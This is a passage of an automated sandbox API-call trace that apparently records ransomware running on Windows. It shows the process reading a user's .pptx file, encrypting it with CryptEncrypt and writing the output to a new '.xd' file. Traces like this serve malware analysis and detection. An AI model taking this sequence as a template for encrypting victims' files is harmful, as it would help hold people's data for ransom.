lpMsg=0x130ec34) returned 0 [0070.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.948] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.948] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.948] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.949] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.949] CryptDestroyHash (hHash=0x164c830) returned 1 [0070.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.949] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.949] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.950] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxvdb8fiw 8a.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.950] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.950] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.951] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.951] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.951] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oxvdb8fiw 8a.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.952] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.988] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.989] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xb41e, lpOverlapped=0x0) returned 1 [0071.019] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0071.040] TranslateMessage (lpMsg=0x130f164) returned 0 [0071.040] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0071.040] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0071.046] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0071.046] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0071.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.047] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.047] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.047] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.047] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.047] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.048] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.048] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.048] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.048] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.048] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629440, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629440*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.049] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.049] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.051] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.052] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.052] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.053] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.053] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb41e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb420) returned 1 [0071.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.053] CharLowerBuffW (in: lpsz="byte[46113]", cchLength=0xb | out: lpsz="byte[46113]") returned 0xb [0071.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.054] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.054] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.055] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.055] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.055] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17dbf40*, pdwDataLen=0x130e618*=0xb41e, dwBufLen=0xb420 | out: pbData=0x17dbf40*, pdwDataLen=0x130e618*=0xb420) returned 1 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.056] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.056] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.056] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.057] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.057] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.057] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.057] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.057] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.057] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.057] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.062] WriteFile (in: hFile=0x2ac, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xb420, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xb420, lpOverlapped=0x0) returned 1 [0071.064] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.066] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.066] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.066] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.067] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.067] CryptDestroyKey (hKey=0x164c770) returned 1 [0071.067] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.067] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.067] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.067] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.067] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.067] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.067] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.067] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.067] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.067] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.068] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.068] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.068] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.068] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.068] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.068] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.068] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 